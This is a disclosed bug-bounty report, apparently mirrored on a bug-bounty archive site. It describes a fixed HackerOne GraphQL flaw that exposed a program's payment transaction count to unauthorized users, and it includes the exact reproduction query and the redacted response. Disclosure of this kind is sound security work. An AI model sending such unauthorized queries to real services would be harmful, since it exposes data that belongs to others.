Skip to content
Info disclosure Disclosed report Beginner

Disclosure of `payment_transactions` for programs via GraphQL query

A GraphQL query on the team object exposed the payment_transactions field, which should only be visible to program team members. An unauthorized user could query a public program's handle and read the total count of its payment transactions.

msdian7 Follow

Originally disclosed on HackerOne

Medium 4.4 View original
  • Triaged in 11 hours
  • Fixed in 26 days
  • Paid in 7 days
  • Disclosed after 59 days

Summary: payment transactions count of programs exposed

Description: payment transactions details can be only accessed by program team members, but there is an flaw, with that, an unauthorized user can get payment transactions count of any program (i have confirmed only with public program)

Steps To Reproduce

1.) Execute the below graphql

POST /graphql? HTTP/1.1 Host: hackerone.com

{"query":"query Team_mini_profile($handle_0:String!,$size_1:ProfilePictureSizes!) {team(handle:$handle_0) {id,...F0}} fragment F0 on Team {id,name,about,_profile_picturePkPpF:profile_picture(size:$size_1),offers_swag,offers_bounties,base_bounty,payment_transactions{total_count}}","variables":{"handle_0":"████","size_1":"small"}}

2.) you will get below response

{"data":{"team":{"id":"█████████","name":"███████","about":"█████████","_profile_picturePkPpF":"█████████","offers_swag":true,"offers_bounties":true,"base_bounty":null,"payment_transactions":{"total_count":9}}}}

3.) done, payment transactions count of ████ is 9

Impact

Unauthorized user can get private data

The original report as published on HackerOne, by msdian7. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Impact

An unauthorized user could learn the number of payment transactions for a program, which the report describes as private data; only the count was shown, not the transaction details.

What the attacker needed

Knowledge of a program handle; no membership in that program

How it was found

  1. Send a GraphQL query to the endpoint asking for the team's payment_transactions total_count for a chosen handle.
  2. Read the response, which includes the payment transaction count.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A GraphQL endpoint lets clients ask for specific fields of data. Here the server offered a field holding payment transaction information to anyone who asked, even though only the program's own team members should see it. The researcher simply requested that field for a public program and the server returned the count.

What is Info disclosure?

Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.

More by msdian7

View all

2 more disclosed reports, best first.

More from HackerOne

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Information disclosure

The lesson behind this report.

Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.